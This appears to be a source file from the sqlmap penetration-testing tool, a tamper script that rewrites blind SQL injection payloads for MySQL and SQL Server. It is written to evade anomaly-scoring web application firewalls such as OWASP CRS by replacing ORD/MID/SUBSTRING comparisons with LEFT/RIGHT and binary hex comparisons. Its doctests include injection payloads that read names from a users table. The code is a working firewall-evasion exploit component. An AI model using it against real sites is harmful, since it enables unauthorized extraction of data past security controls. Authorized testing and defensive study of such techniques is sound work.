mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-06-28 04:20:58 +00:00
114 lines
5.2 KiB
Python
114 lines
5.2 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
|
See the file 'LICENSE' for copying permission
|
|
"""
|
|
|
|
import re
|
|
|
|
from lib.core.enums import PRIORITY
|
|
|
|
__priority__ = PRIORITY.NORMAL
|
|
|
|
def dependencies():
|
|
pass
|
|
|
|
def _balancedEnd(payload, start):
|
|
"""Index of the ')' matching the '(' at payload[start] (or -1)."""
|
|
depth = 0
|
|
idx = start
|
|
while idx < len(payload):
|
|
if payload[idx] == '(':
|
|
depth += 1
|
|
elif payload[idx] == ')':
|
|
depth -= 1
|
|
if depth == 0:
|
|
return idx
|
|
idx += 1
|
|
return -1
|
|
|
|
def _reshape(payload, opener, tail, build):
|
|
"""Replace every 'opener(<balanced query>)<tail>' with build(query, tail-match)."""
|
|
retVal = payload
|
|
pos = 0
|
|
while True:
|
|
match = re.search(opener, retVal[pos:])
|
|
if not match:
|
|
break
|
|
start = pos + match.start()
|
|
cursor = pos + match.end() # should sit on the '(' of the query argument
|
|
if cursor >= len(retVal) or retVal[cursor] != '(':
|
|
pos = pos + match.end()
|
|
continue
|
|
end = _balancedEnd(retVal, cursor)
|
|
if end < 0:
|
|
pos = pos + match.end()
|
|
continue
|
|
query = retVal[cursor:end + 1] # '(<query>)'
|
|
rest = re.match(tail, retVal[end + 1:])
|
|
if not rest:
|
|
pos = pos + match.end()
|
|
continue
|
|
replacement = build(query, rest)
|
|
retVal = retVal[:start] + replacement + retVal[end + 1 + rest.end():]
|
|
pos = start + len(replacement)
|
|
return retVal
|
|
|
|
def tamper(payload, **kwargs):
|
|
"""
|
|
Rewrites blind single-character reads into a firewall-transparent, byte-ordered comparison that
|
|
sheds the function names anomaly-scoring WAFs key on:
|
|
|
|
* MySQL: ORD(MID((<q>),<p>,1))><n>
|
|
-> RIGHT(LEFT((<q>),<p>),(<p><=CHAR_LENGTH((<q>))))>BINARY 0x<nn>
|
|
* SQL Server: UNICODE(SUBSTRING((<q>),<p>,1))><n> (also ASCII(SUBSTRING(...)))
|
|
-> CAST(RIGHT(LEFT((<q>),<p>),CASE WHEN <p><=LEN((<q>)) THEN 1 ELSE 0 END) AS VARBINARY)>0x<nn>
|
|
|
|
Requirement:
|
|
* MySQL or Microsoft SQL Server
|
|
|
|
Notes:
|
|
* Bypasses anomaly-scoring WAFs (e.g. OWASP CRS) that score the function names
|
|
ORD/MID/ASCII/SUBSTRING/UNICODE (rule 942151) and the function-comparison shape (942190).
|
|
LEFT/RIGHT are not in those blocklists, so the cumulative score collapses (often to 0) while
|
|
the single-character, byte-ordered semantics of the bisection are preserved.
|
|
* MySQL 'BINARY' / SQL Server '... AS VARBINARY' force a byte (case- and accent-sensitive)
|
|
comparison, so extraction stays exact under a case-insensitive default collation. Both use a
|
|
native hex literal (0x<nn>), so nothing needs string-escaping.
|
|
* The character count is guarded (1 inside the string, 0 past its end), so a position beyond the
|
|
end yields RIGHT(...,0)='' which compares below every byte - the NULL terminator that stops
|
|
extraction, exactly like the original. A constant 1 would keep returning the last character
|
|
forever and never terminate.
|
|
|
|
>>> tamper('1 AND ORD(MID((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5,1))>71')
|
|
'1 AND RIGHT(LEFT((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5),(5<=CHAR_LENGTH((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1))))>BINARY 0x47'
|
|
>>> tamper('1 AND ORD(MID((SELECT 1),1,1))>0')
|
|
'1 AND RIGHT(LEFT((SELECT 1),1),(1<=CHAR_LENGTH((SELECT 1))))>BINARY 0x00'
|
|
>>> tamper('1 AND 5141=5141')
|
|
'1 AND 5141=5141'
|
|
>>> tamper('1 AND ORD(MID((SELECT 1),1,1))<65')
|
|
'1 AND RIGHT(LEFT((SELECT 1),1),(1<=CHAR_LENGTH((SELECT 1))))<BINARY 0x41'
|
|
>>> tamper('1 AND UNICODE(SUBSTRING((SELECT TOP 1 name FROM users),3,1))>64')
|
|
'1 AND CAST(RIGHT(LEFT((SELECT TOP 1 name FROM users),3),CASE WHEN 3<=LEN((SELECT TOP 1 name FROM users)) THEN 1 ELSE 0 END) AS VARBINARY)>0x40'
|
|
"""
|
|
|
|
if not payload:
|
|
return payload
|
|
|
|
def _mysql(query, rest):
|
|
position, operator, value = rest.group(1), rest.group(2), int(rest.group(3))
|
|
return "RIGHT(LEFT(%s,%s),(%s<=CHAR_LENGTH(%s)))%sBINARY 0x%02x" % (query, position, position, query, operator, value)
|
|
|
|
def _mssql(query, rest):
|
|
position, operator, value = rest.group(1), rest.group(2), int(rest.group(3))
|
|
# shed sqlmap's SQL Server retrieval wrapper 'ISNULL(CAST(<x> AS NVARCHAR(<n>)),CHAR(<m>))' -> '(<x>)':
|
|
# CHAR()/CAST are themselves scored by ASCII/SUBSTRING-class WAFs (unlike MySQL's 0x20 hex), so for a
|
|
# clean inner query the whole read goes function-free (NULLs then read as end-of-string)
|
|
query = re.sub(r"(?i)ISNULL\(CAST\((.+?) AS NVARCHAR\(\d+\)\),\s*CHAR\(\d+\)\)", r"(\1)", query)
|
|
return "CAST(RIGHT(LEFT(%s,%s),CASE WHEN %s<=LEN(%s) THEN 1 ELSE 0 END) AS VARBINARY)%s0x%02x" % (query, position, position, query, operator, value)
|
|
|
|
comma_tail = r"\s*,\s*(\d+)\s*,\s*1\)\)\s*(>=|<=|>|<|=)\s*(\d+)"
|
|
retVal = _reshape(payload, r"(?i)ORD\(MID\(", comma_tail, _mysql)
|
|
retVal = _reshape(retVal, r"(?i)(?:UNICODE|ASCII)\(SUBSTRING\(", comma_tail, _mssql)
|
|
return retVal
|